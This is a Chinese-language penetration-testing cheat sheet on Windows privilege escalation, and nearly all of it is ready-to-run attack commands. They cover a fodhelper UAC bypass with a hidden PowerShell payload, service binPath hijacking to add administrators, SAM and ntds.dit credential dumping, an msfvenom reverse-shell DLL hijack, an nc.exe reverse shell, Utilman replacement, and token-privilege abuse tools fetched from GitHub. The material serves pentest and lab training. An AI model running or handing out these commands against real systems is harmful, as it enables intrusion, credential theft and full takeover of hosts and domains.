跳转至

Windows 提权

系统信息

Bash
systeminfo
Get-ComputerInfo

UAC 绕过

Bash
whoami /groups
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

# 绕过 UAC
# fodhelper.exe 绕过
# 1) 在 64 位 Windows 系统上,从 32 位 shell 启动一个 64 位 PowerShell 进程,以提高稳定性。
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"

# 2) 创建易受攻击的键和值
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null

# 3) 将默认命令设置为有效负载(例如:反向 shell 或 cmd)
# 将 <BASE64_PS> 替换为您的 base64 编码的 PowerShell(或任何命令)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force

# 4) 触发自动提升权限
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"

# 5) 清理
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force

# 6) 查找键值
reg query "HKCU\Software\Classes\ms-settings\Shell\Open\command"
Get-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command"

# 自动化工具
https://github.com/hfiref0x/UACME
Akagi64.exe 41 C:\Users\F0nes\Desktop\shell.exe

网络信息

Bash
1
2
3
4
ipconfig /all
ipconfig /displaydns
netstat -ano
route print

软件列表

Bash
1
2
3
wmic product get name
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

进程列表

Bash
Get-Process | Select Name,Company,Path

文件检索

Bash
Get-ChildItem -Path C:\ -Include *.kdbx,*.bat,*.txt,*.ini,*.db -File -Recurse -ErrorAction SilentlyContinue
Get-Content C:\xampp\mysql\bin\my.ini

历史命令

Bash
1
2
3
Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

winpeas

Bash
1
2
3
# 某些情况执行 winpeas 不显示颜色
# 根据工具开头提示,执行一段修改注册表命令
# 重新打开 cmd 即可显示颜色

服务检查

Bash
# 通过 winpeas 检查不安全的服务配置

# 查看某个服务
sc qc <service_name>

# 检查服务权限
accesschk.exe -ucqv <Service_Name>

# 搜索未加引号的服务路径
wmic service get name,displayname,pathname,startmode \| findstr /i "auto" \| findstr /i /v "c:\windows\\" \| findstr /i /v """
# 或者通过 PowerUp.ps1 脚本检查
Get-ServiceUnquoted -Verbose

# 修改服务执行二进制程序
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"

# 重启服务
net stop [service name]
net start [service name]
sc.exe stop [service name]
sc.exe start [service name]

计划任务

Bash
# 排查系统可疑的文件路径
# 可能会发现存在一些计划任务文件
# Windows 日志 -> Microsoft -> Windows -> TaskScheduler
# 查看计划任务
SCHTASKS /Query /FO LIST /V | findstr

# RepetitionInterval : PT1M  # 每1分钟
# TaskPath           : \
# Command            : C:\Windows\System32\cmd.exe
# Arguments          : /c C:\Windows\system32\Tasks\run.bat

# 手动执行计划任务
Start-ScheduledTask -TaskName "任务名称"
schtasks /run /tn "automation"

Windows 特权

Bash
whoami /priv

SeBackupPrivilege-SeRestorePrivilege 特权滥用

启用特权

Bash
1
2
3
# 可选,如果执行过程发现错误,可尝试
wget https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
Import-Module .\EnableAllTokenPrivs.ps1

终端环境

Bash
1
2
3
4
5
6
# 备份文件
reg save hklm\system system.hive
reg save hklm\sam sam.hive

# 提取密码
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

域控环境

方法一
  1. diskshadow 和 robocopy 配合提取。
  2. diskshadow 和 SeBackupPrivilegeUtils.dll、SeBackupPrivilegeCmdLets.dll 配合提取。

diskshadow 备份卷:

Bash
# 备份 system 文件
reg save hklm\system system.hive

# 创建 back.dsh 文件
-------------------------------------
set metadata c:\windows\temp\meta.cab
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
-------------------------------------

# unix2dos 格式化然后上传目标主机
unix2dos back.dsh

# 执行备份卷,成功执行会提示 successful
diskshadow /s back.dsh

robocopy 拷贝 ntds 文件:

Bash
robocopy /b z:\windows\ntds . ntds.dit

使用 SeBackupPrivilegeUtils.dll、SeBackupPrivilegeCmdLets.dll 提取 ntds 文件:

Bash
1
2
3
4
5
6
7
# 下载 SeBackupPrivilegeUtils.dll、SeBackupPrivilegeCmdLets.dll
https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

# 执行拷贝
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\back\ntds.dit
方法二

使用 wbadmin 备份 ntds.dit 文件:

Bash
1
2
3
4
5
6
7
8
9
# 注意:\\dc01\c$\back 必须真实存在
# 该方法很容易失败,某些系统未开放该功能
wbadmin start backup -quiet -backuptarget:\\dc01\c$\back -include:c:\windows\ntds

# 获取版本信息
wbadmin get versions

# 拷贝 ntds 文件
wbadmin start recovery -quiet -version:06/16/2025-21:53 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:c:\back -notrestoreacl

SeImpersonatePrivilege-SeAssignPrimaryTokenPrivilege 特权滥用

Bash
1
2
3
4
# 通过土豆工具提权
https://github.com/BeichenDream/GodPotato
https://github.com/tylerdotrar/SigmaPotato
https://github.com/itm4n/PrintSpoofer

SeManageVolumePrivilege 特权滥用

启用特权

Bash
1
2
3
# 可选,如果执行过程发现错误,可尝试
wget https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
Import-Module .\EnableAllTokenPrivs.ps1

方法一

使用 Metasploit 进行 DLL 劫持:

Bash
# 上传 SeManageVolumeExploit.exe
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe

# 执行上传程序会修改 window 目录权限
.\SeManageVolumeExploit.exe

# 生成的dll文件,并上传至目标机
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP-ADDRESS] LPORT=1337 -f dll -o tzres.dll

# 将 dll 文件复制到 C:\Windows\System32\wbem\
copy tzres.dll C:\Windows\System32\wbem\

# kali 开启监听,在目标机执行 systeminfo 即可
systeminfo

方法二

利用 WerTrigger 漏洞:

Bash
# 和方法一相同,第一步都是上传 SeManageVolumeExploit.exe 文件
# 然后下载以下文件,将其上传至目标机器
wget https://github.com/sailay1996/WerTrigger/raw/master/bin/WerTrigger.exe
wget https://github.com/sailay1996/WerTrigger/raw/master/bin/phoneinfo.dll
wget https://raw.githubusercontent.com/sailay1996/WerTrigger/master/bin/Report.wer
cp /usr/share/windows-resources/binaries/nc.exe .
# 复制 phoneinfo.dll 到同一目录 C:\Windows\System32\
copy phoneinfo.dll C:\Windows\System32\
# 执行 WerTrigger.exe,可以在空白处执行反弹 shell 指令
C:\temp\nc.exe x.x.x.x 1234 -e cmd.exe

SeTakeOwnershipPrivilege 特权滥用

启用特权

Bash
1
2
3
# 可选,如果执行过程发现错误,可尝试
wget https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
Import-Module .\EnableAllTokenPrivs.ps1

利用 Utilman 进行漏洞利用

Bash
# 检查文件权限
icacls "C:\Windows\System32\Utilman.exe"

# 修改文件为任意用户完全控制权
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant Everyone:F
icacls "C:\Windows\System32\Utilman.exe"

# 替换utilman.exe为cmd.exe
cd C:\Windows\System32
copy cmd.exe utilman.exe

# 注销用户,然后点击 "轻松访问" 即可获取 system 权限 shell

SeDebugPrivilege 特权滥用

利用 psgetsys.ps1 脚本获取 SeDebugPrivilege 权限

Bash
# 找到一个以 system 权限运行的进程 ID
tasklist

# 下载 psgetsys.ps1
wget https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1

# 执行利用,注意这里的 pid 需要指定前面的 system 进程 pid
# command 指定的文件可以是任何可执行程序
Import-Module .\psgetsys.ps1
ImpersonateFromParentPid -ppid 612 -command "C:\Windows\System32\cmd.exe" -cmdargs ""

SeLoadDriverPrivilege 特权滥用

Bash
https://github.com/JoshMorrison99/SeLoadDriverPrivilege